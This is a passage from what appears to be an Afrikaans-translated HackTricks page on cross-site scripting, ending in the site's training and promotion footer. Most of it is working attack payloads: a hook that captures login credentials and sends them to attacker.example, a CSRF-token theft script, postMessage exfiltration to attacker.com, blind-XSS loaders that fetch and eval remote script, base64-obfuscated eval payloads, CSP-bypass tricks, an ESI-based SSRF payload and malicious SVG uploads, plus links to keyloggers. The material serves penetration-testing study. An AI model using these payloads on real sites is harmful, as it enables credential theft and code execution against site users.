As 'n kritieke handler (bv., function DoLogin(){...}
) later in die bladsy gedeclareer word, en jou payload vroeër uitgevoer word (bv., via 'n inline JS-in-JS sink), definieer eers 'n const
met dieselfde naam om die handler te voorkom en te vergrendel. Later funksie-deklarasies kan nie 'n const
-naam herbinde nie, en laat jou hook in beheer:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Aantekeninge
- Dit berus op uitvoeringsvolgorde: jou injectie moet uitgevoer word voor die legitieme deklarasie.
- As jou payload in
eval(...)
ingesluit is, salconst/let
bindings nie globals word nie. Gebruik die dinamiese<script>
-invoegingstegniek uit die afdeling “Deliverable payloads with eval(atob()) and scope nuances” om 'n werklike globale, nie-herskryfbare binding te verseker. - Wanneer sleutelwoordfilters kode blokkeer, kombineer met Unicode-gescapeerde identifiseerders of
eval(atob('...'))
aflewering, soos hierbo getoon.
Keylogger
Ek het net op github gesoek en 'n paar verskillende gevind:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Jy kan ook metasploit
http_javascript_keylogger
gebruik
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Diefstal van PostMessage-boodskappe
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Misbruik van Service Workers
Toegang tot Shadow DOM
Polyglots
Blind XSS payloads
Jy kan ook gebruik maak van: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Toegang tot Verborgen Inhoud
Uit this writeup is dit moontlik om te leer dat selfs al verdwyn sommige waardes uit JS, dit steeds moontlik is om hulle in JS-attribuutwaardes in verskillende objekte te vind. Byvoorbeeld, 'n input van 'n REGEX kan steeds gevind word nadat die waarde van die input van die regex verwyder is:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force Lys
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS Misbruik van ander kwesbaarhede
XSS in Markdown
Kan inject Markdown code wat gerender sal word? Miskien kan jy XSS kry! Kyk:
XSS na SSRF
Het jy XSS op 'n webwerf wat caching gebruik? Probeer dit opgradeer na SSRF deur Edge Side Include Injection met hierdie payload:
<esi:include src="http://yoursite.com/capture" />
Gebruik dit om cookie-beperkings, XSS filters en nog meer te omseil!
Meer inligting oor hierdie tegniek hier: XSLT.
XSS in dinamies gegenereerde PDF
As 'n webblad 'n PDF skep met invoer wat deur die gebruiker beheer word, kan jy probeer om die bot wat die PDF skep te mislei sodat dit arbitrêre JS-kode uitvoer.
Dus, as die PDF creator bot vind 'n soort HTML tags, gaan dit dit interpreteer, en jy kan hierdie gedrag misbruik om 'n Server XSS te veroorsaak.
As jy nie HTML tags kan inject nie, kan dit die moeite werd wees om te probeer inject PDF data:
XSS in Amp4Email
AMP, bedoel om webbladprestasie op mobiele toestelle te versnel, bevat HTML tags aangevul deur JavaScript om funksionaliteit te verseker met 'n klem op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, beskikbaar via AMP components.
Die AMP for Email formaat brei spesifieke AMP-komponente uit na e-posse, wat ontvangers in staat stel om direk binne hul e-posse met inhoud te interakteer.
Voorbeeld writeup XSS in Amp4Email in Gmail.
XSS deur lêers op te laai (svg)
Laai as 'n beeld 'n lêer op soos die volgende een (van http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Vind meer SVG payloads in https://github.com/allanlw/svg-cheatsheet
Verskeie JS-wenke & relevante inligting
Misc JS Tricks & Relevant Info
XSS hulpbronne
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Verwysings
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.